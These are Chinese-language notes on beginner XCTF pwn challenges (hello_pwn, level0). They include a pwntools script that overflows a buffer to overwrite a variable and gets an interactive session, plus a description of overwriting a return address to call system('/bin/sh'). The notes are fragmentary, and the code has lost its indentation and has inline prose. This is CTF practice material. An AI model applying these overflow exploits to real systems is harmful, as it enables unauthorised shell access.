一.攻防世界新手区
- hello_pwn
覆盖掉数据
常规操作的两步
.
本地打通
远程打通content=0 此时运行脚本
练习本地打穿
from pwn import *
context(os='linux',arch="amd64",log_level="debug")
content=1
def main():
if content == 1:
wjk=process('./hello_pwn')
else:
wjk = remote("172.16.83.24")
payload=b'a'*(0x6c-0x68)
payload=payload + p64(1853186401)
wjk.recvuntil("lets get helloworld for bof\n")
wjk.sendline(payload) 发送一行数据,相当于在末尾加\n
wjk.interactive() 与shell交互
main()
2.level0
用buf进行覆盖,覆盖到return函数处,return会跳到对应新的函数处,这里覆盖成我们想让它跳转到的函数地址
要跳转的函数地址
执行system('/bin/sh')从而拿到shell
3.level3